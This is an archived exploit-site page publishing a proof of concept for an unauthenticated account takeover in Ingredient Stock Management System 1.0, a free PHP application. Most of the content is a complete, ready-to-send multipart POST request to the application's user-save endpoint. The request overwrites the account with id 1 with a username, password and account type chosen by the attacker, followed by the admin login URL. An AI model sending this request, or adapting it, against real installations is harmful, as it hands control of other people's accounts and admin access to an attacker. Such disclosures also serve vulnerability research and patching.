

Ingredient Stock Management System 1.0 Account Takeover

Authored by [Saud Alenazi](#)

Posted [May 30, 2022](#)

Ingredient Stock Management System version 1.0 suffers from an account takeover vulnerability.

tags | [exploit](#)

SHA-256 | [ec7348c7ea40981571b3542540ba691bc12790f80da7ef325b3c3e3a10db0a85](#) [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like 0

Tweet

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror

[Download](#)

```
# Exploit Title: Ingredient Stock Management System v1.0 - Account Takeover (Unauthenticated)
# Date: 28/05/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15364/ingredient-stock-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
```

Description :

Ingredient Stock Management System v1.0 is vulnerable to unauthenticated account takeover. An attacker can takeover any registered 'Staff' user account by just sending below POST request By changing the the "id", "firstname", "lastname", "username", "password", "type" parameters

HTTPS Request :

```
POST /isms/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=-----89160456138077069512415726555
Content-Length: 1023
Origin: http://localhost
Connection: close
Referer: http://localhost/isms/admin/?page=user/manage_user
Cookie: PHPSESSID=mia3uiom2s9bdtif290t6vlel2
```

```
-----89160456138077069512415726555
Content-Disposition: form-data; name="id"
```

```
1
-----89160456138077069512415726555
Content-Disposition: form-data; name="firstname"
```

```
test
-----89160456138077069512415726555
Content-Disposition: form-data; name="middlename"
```

```
-----89160456138077069512415726555
Content-Disposition: form-data; name="lastname"
```

```
hi
-----89160456138077069512415726555
Content-Disposition: form-data; name="username"
```

```
test
-----89160456138077069512415726555
Content-Disposition: form-data; name="password"
```

```
test
-----89160456138077069512415726555
Content-Disposition: form-data; name="type"
```

```
1
-----89160456138077069512415726555
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream
```

```
-----89160456138077069512415726555--
```

```
====
URL Login : http://localhost/isms/admin/login.php
```



Follow us on Twitter



Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 188 files

Ubuntu 57 files

Gentoo 44 files

Debian 28 files

Apple 25 files

Google Security Research 14 files

malvuln 10 files

nu11secuR1ty 6 files

mjrczyk 4 files

George Tsimpidas 3 files

File Tags

ActiveX (932)
 Advisory (79,557)
 Arbitrary (15,643)
 BBS (2,859)
 Bypass (1,615)
 CGI (1,015)
 Code Execution (6,913)
 Conference (672)
 Cracker (840)
 CSRF (3,288)
 DoS (22,541)
 Encryption (2,349)
 Exploit (50,293)
 File Inclusion (4,162)
 File Upload (946)
 Firewall (821)
 Info Disclosure (2,656)

File Archives

November 2022
 October 2022
 September 2022
 August 2022
 July 2022
 June 2022
 May 2022
 April 2022
 March 2022
 February 2022
 January 2022
 December 2021
 Older

Systems

AIX (426)
 Apple (1,926)

[Login](#) or [Register](#) to add favorites

Intrusion Detection (866)	BSD (370)
Java (2,888)	CentOS (55)
JavaScript (817)	Cisco (1,917)
Kernel (6,255)	Debian (6,620)
Local (14,173)	Fedora (1,690)
Magazine (586)	FreeBSD (1,242)
Overflow (12,390)	Gentoo (4,272)
Perl (1,417)	HPUX (878)
PHP (5,087)	iOS (330)
Proof of Concept (2,290)	iPhone (108)
Protocol (3,426)	IRIX (220)
Python (1,449)	Juniper (67)
Remote (30,009)	Linux (44,118)
Root (3,496)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,768)	OpenBSD (479)
Shell (3,098)	RedHat (12,339)
Shellcode (1,204)	Slackware (941)
Sniffer (885)	Solaris (1,607)
Spoof (2,165)	SUSE (1,444)
SQL Injection (16,089)	Ubuntu (8,147)
TCP (2,377)	UNIX (9,150)
Trojan (685)	UnixWare (185)
UDP (875)	Windows (6,504)
Virus (661)	Other
Vulnerability (31,104)	
Web (9,329)	
Whitepaper (3,728)	
x86 (946)	
XSS (17,478)	
Other	

packet storm
© 2022 Packet Storm. All rights reserved.

Site Links

[News by Month](#)

[News Tags](#)

[Files by Month](#)

[File Tags](#)

[File Directory](#)

About Us

[History & Purpose](#)

[Contact Information](#)


[Terms of Service](#)


[Privacy Statement](#)

[Copyright Information](#)

Hosting By

[Rokasec](#)

 [Follow us on Twitter](#)

 [Subscribe to an RSS Feed](#)